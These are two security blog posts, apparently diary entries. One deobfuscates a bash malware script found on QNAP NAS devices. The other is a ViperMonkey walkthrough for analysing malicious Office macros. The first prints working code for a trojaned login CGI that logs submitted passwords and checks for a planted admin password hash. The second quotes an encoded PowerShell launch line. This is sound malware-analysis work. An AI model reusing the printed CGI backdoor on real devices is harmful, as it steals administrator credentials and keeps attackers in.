Obfuscated bash script targeting QNap boxes
One of our readers, Nathaniel Vos, shared an interesting shell script with us and thanks to him! He found it on an embedded Linux device, more precisely, a QNap NAS running QTS 4.3. After some quick investigations, it looked that the script was not brand new. we found references to it already posted in September 2018[1]. But such shell scripts are less common: they are usually not obfuscated and they perform basic features like downloading and installing some binaries. So, I took the time to look at it.
Nathaniel provided us a ZIP archive with two scripts but, once deobfuscated, they generated the same output.
The first script was called ‘autorun.sh’ (SHA256: 94e901ada005120126234e8cbbc3b2142b00ed336922a0e3f400439c7061b849) and the second one ‘K01YgToEc.sh’ (SHA256: 1ccc3d2978edf38104e0e4b9c77146737ea6a6e880d172e485f4a67dc4e33359). Both are unknown on VT when I’m writing the diary. They use the same technique to obfuscate the code:
- Shell variables are made of random characters
- The code is polluted with undefined variables (so returning an empty string when printed). Example: ${uIHNPnfezwbcmn}
- Characters are replaced with their hex value. Example: \x72 -> ‘r'
- Some variables contain characters in octal value. Example: EpSHer=\\133 -> ‘['
Here are the first lines of the script:
$ head -10 autorun.sh 1: #!/bin/sh 2: 3: XdLVBKAo=tr${PotjEjbZl} 4: ZjZfCafE='\' 5: EpSHer=${qIFMKMhiLQYkzZr}${ZjZfCafE}${KrVViRvQs}133 6: lmkYrG=${FKgWKTtpzobrKUK}${ZjZfCafE}${njJfCTyAr}055 7: mbcHAcrP=${GGsIVGSsokYhAJV}${ZjZfCafE}${mFfYGGKTf}134 8: $XdLVBKAo 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh 9: GU/Q[b/&r;;w<apCJuKmOLkoSi 10: Ma|a}pC]Yr'%<[IXM"{a|bJfnpCQlia'V|LVpC%wMhKX|}ipCkb]Q%<VtQuZ|fndpChk<"|\MLfndL&pCISMSaZ'M(Y`|dp]Pmo*OSpxxfndpCiw+aIJ[Z|L&pCo=K(|dpC%T[{|fn+bpCh'P*|&pCY(o[qZO}`]oovw|LpCH*X>YT|dfnw<aapCh}=&'X`q
At a first read, it seems very complex but, once all the junk code removed (see the list above), you discover that the script is obfuscated via a simple ’tr’ command. ’tr’ is a command useful to translate characters in a string like:
$ tr ‘abcdefghij’ ‘1234567890’ <<__END__ Example string __END__ Ex1mpl5 str9n7
Each character from the first argument is replaced with the character from the second one ('a' -> '1', 'b' -> '2', ...). Here is the ’tr’ command from the malicious script:
tr 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh ... ... ... CaXTFJSCqaHF
'b${VXGXkTXAV}a${CYlb}sh’ is simply the ‘bash’ command. So, tr converts all characters from the very long string ending with ‘CaXTFJSCqaHF’ then the content (deobfuscated commands) is piped to bash. Here is an interesting finding in the script (beautified)
1: grep 'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:' /etc/shadow >/dev/null 2>&1 && { 2: ! test -d "${bdir}/.log" && mkdir "${bdir}/.log" 3: ! test -f /home/httpd/cgi-bin/QTSauthLogin.cgi && { 4: cp -p /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi || cp /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi; 5: } && echo '#!/bin/sh 6: POSTDATA="" 7: test "x${REQUEST_METHOD}" = xPOST && { 8: case "${CONTENT_LENGTH}" in 9: '"''"' | *[!0-9]* | 0* ) false 10: ;; 11: *) test "${CONTENT_LENGTH}" -lt 2147483646 12: ;; 13: esac && { 14: IFS= read -d '"''"' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; 15: } || test "$POSTDATA" || POSTDATA=`cat` 16: 17: test ! -z "$POSTDATA" && 18: case "${POSTDATA}" in 19: *pwd*) test -f "'${bdir}'/.log/.cgi_log" || 20: { test -d "'${bdir}'/.log" || mkdir -p "'${bdir}'/.log" && touch "'${bdir}'/.log/.cgi_log"; } 21: && test $((`stat -c '"'"'%s'"'"' "'${bdir}'/.log/.cgi_log"`)) -lt 209715200 && cat >> "'${bdir}'/.log/.cgi_log" << EOF ;; 22: esac; 23: $REMOTE_ADDR:$POSTDATA 24: EOF 25: } 26: test ! -z "$POSTDATA" && case "$POSTDATA" in *user=admin* ) true ;; *) false ;; esac || case "$QUERY_STRING" in *user=admin*) true ;; *) false ;; esac && { 27: case "${REMOTE_ADDR}" in 28: '"''"' | 10.* | 127.* | 192.168.* | 169.254.* | 172.1[6-9].* | 172.2[0-9].* | 172.3[01].* | *:* ) false 29: ;; 30: *) true 31: ;; 32: esac && grep '"'"'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:'"'"' /etc/shadow >/dev/null 2>/dev/null && exit 0 33: } 34: if ! test -z "$POSTDATA"; then 35: exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi << V4KLDmYwvc 36: $POSTDATA 37: V4KLDmYwvc 38: else 39: exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi 40; fi 41: exit 0' > /home/httpd/cgi-bin/_authLogin.cgi
This code installs a malicious CGI script (/home/httpd/cgi-bin/_authLogin.cgi) that steals the admin password (note that the default credentials are tested). The script also installs cron jobs, SSH & UPNP tools. So, it is definitively malicious!
The remaining question is: how is this script installed on the device, via which vulnerability? There are some critical vulnerabilities in QTS released in 2018[2].
[1] https://forum.qnap.com/viewtopic.php?t=143239&start=15
[2] https://www.cvedetails.com/vulnerability-list/vendor_id-10080/Qnap.html
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
ViperMonkey: VBA maldoc deobfuscation
ViperMonkey: a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files.
Related reads:
- Evasive VBA - Advanced Maldoc Techniques Carrie Roberts @OrOneEqualsOne, Kirk Sayre @bigmacjpg, and Harold Ogden @haroldogden. There’s an entire series of these good reads, and Kirk has contributed significantly to ViperMonkey.
- All things maldocs with @DidierStevens. Didier is an absolute authority in this space, he literally defined such analysis.
Problem Statement:
“Macro malware hides in Microsoft Office files and are delivered as email attachments or inside ZIP files. These files use names that are intended to entice or scare people into opening them. They often look like invoices, receipts, legal documents, and more. Macro malware was fairly common several years ago because macros ran automatically whenever a document was opened. However, in recent versions of Microsoft Office, macros are disabled by default. This means malware authors need to convince users to turn on macros so that their malware can run. They do this by showing fake warnings when a malicious document is opened.” ~Macro malware
ViperMonkey Installation:
Download and installation guidance is available on ViperMonkey’s GitHub repository. Be advised installation success and an optimized deployment can vary wildly depending on the OS you chose to install on. The most important takeaway is that you want to use PyPy to run ViperMonkey, the performance improvements in doing so are significant. While Philippe’s disclaimer is warranted, I found ViperMonkey to be quite performant, even on a virtual machine, when utilized with PyPy. I had the most success installing as follows on Ubuntu 18.04 Bionic Beaver, your experience may vary and you’ll likely want or need to experiment. There are definite nuances between Windows and Linux/Mac. Most importantly, note that
sudo -H pypy -m ensurepip
will not work on Ubuntu 18.04.
sudo apt-get install pypy
sudo apt-get install python-pip
Download the archive from the repository: https://github.com/decalage2/ViperMonkey/archive/master.zip Extract it in the folder of your choice, and open a shell/cmd window in that folder. Install dependencies by running
sudo -H pypy -m pip install -U -r requirements.txt
Confirm that Vipermonkey runs without errors:
pypy vmonkey.py
Ideally, install the dependencies for PyPy, you can download them individually then install them as follows:
sudo pypy ~/Downloads/setuptools-40.6.2/setup.py install
sudo pypy ~/Downloads/colorlog-3.1.4/setup.py install
sudo pypy ~/Downloads/olefile-0.46/setup.py install
sudo pypy ~/Downloads/prettytable-0.7/setup.py install
sudo pypy ~/Downloads/pyparsing-2.3.0/setup.py install
Again, “ViperMonkey can be sped up considerably (~5 times faster) by running ViperMonkey using pypy rather than the regular Python interpreter.”
Usage:
Once you’ve conquered the installation, usage is particularly straightforward. Ready for it?
pypy vmonkey.py -s <file>
Use the -s flag to strip out useless statements from the Visual Basic macro code prior to parsing and emulation, again contributing to efficiency and speed. I enabled an example run via the likes of
pypy ~/vipermonkey/vmonkey.py -s samples/4aff
Maldoc samples:
I logged in to my favorite malware sample repository, VirusShare.com, searched for VBA, and selected three samples.
- Trojan:Win32/Tiggre!rfn, MD5 cbdcc830345b99d94aa624e57689fd7b
- Trojan:Win32/Occamy.C, MD5 0dc208ad5f0768fe99b75528dc97321b
- Trojan:Win32/Bluteal.B!rfn, MD5 8ef62c0737f219e3e57a9f1ed1adcfb9
The first sample, a Word doc with malicious macros disguised as a Citi Bank document, yielded immediately interesting results. A typical ViperMonkey run should result in the likes of Figure 1 as it starts parsing.
Figure 1: Initial ViperMonkey run
This sample is noted for commonly abused properties such as:
- Runs other files, shell commands, or applications
- Contains deobfuscation code
- Makes use of macros
- Create OLE objects
This is all immediately noted via ViperMonkey. Of particular interest, take note of Figure 2 as derived in ViperMonkey’s Recorded Actions for this sample.
Figure 2: Recorded Actions
Looks like someone popped a shell to me. This sample also utilizes the GetNetworkCredential().password function, for what I hope are overtly obvious reasons. In all, ViperMonkey identified the VBA Builtins Called as [‘Chr’, ‘CreateObject’, ‘Mid’, ‘Run’, ‘StrReverse’]. Mid returns a variant containing a specified number of characters from a string, and StrReverse returns a string in which the character order of a specified string is reversed. Carrie’s above mentioned article, Evasive VBA - Advanced Maldoc Techniques, states that StrReverse() can be “used to demonstrate that the strings do not need to be stored in the form required by GetObject() anywhere in the VBA.”
Our next sample is malicious Excel document with equally interesting attributes including the fact that it:
- Contains deobfuscation code
- Makes use of macros
- Automatically runs commands or instructions when the file is opened
- Create OLE objects
Let’s see what ViperMonkey has to say. Yep, popped another shell (see Figure 3).
Figure 3: Malicious Excel macro
Note that the CLng function is an Excel a built-in function that converts a value to a long integer and can be used as a VBA function (VBA) in macro code. Additionally, the CallByName function is used to get or set a property, or invoke a method at run time using a string name.
Our last sample is another Word variant, and I definitely save the best for last. This little gem treats victims to:
- Downloads additional files from the Internet
- Executes code from Dynamically Linked Libraries
- Opens a file
- Automatically runs commands or instructions when the file is opened
- Makes use of macros
- Enumerates open windows
- Executes PowerShell commands
- Tries to hide the viewer or other applications
- Creates OLE objects
There are no surprises in the VBA calls identified by ViperMonkey, but if you read the VirusTotal community page for this sample, you’ll note that THOR APT Scanner (thank you, Florian @cyb3rops) rule, SUSP_Base64_Encoded_URL, from the Suspicious Indicators ruleset, detects a Base64 encoded URL. ViperMonkey proves that out as seen in Figure 4.
Figure 4: Spawned PowerShell
ViperMonkey is again consistent in its identification of the malicious behaviors in our selected sample. Note the process call [‘winmgmts:\\.\root\cimv2:Win32_Process’] as well as the PowerShell invocation: powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg. This is better exemplified in the VBA code as parsed by ViperMonkey in Figure 5.
Figure 5: VBA code for malicious Macro
Of interest, the Macro references an external library of libc.dylib, allowing execution of system commands as should be familiar to Empire users. I know Philippe considers this very much work in progress, but I’m pretty impressed and hope he continues development on the project. I really enjoyed putting this walkthrough together, I look forward to hearing about your experiments in maldoc analysis via russ @ holisticinfosec dot io or @holisticinfosec. Cheers…until next time.
Comments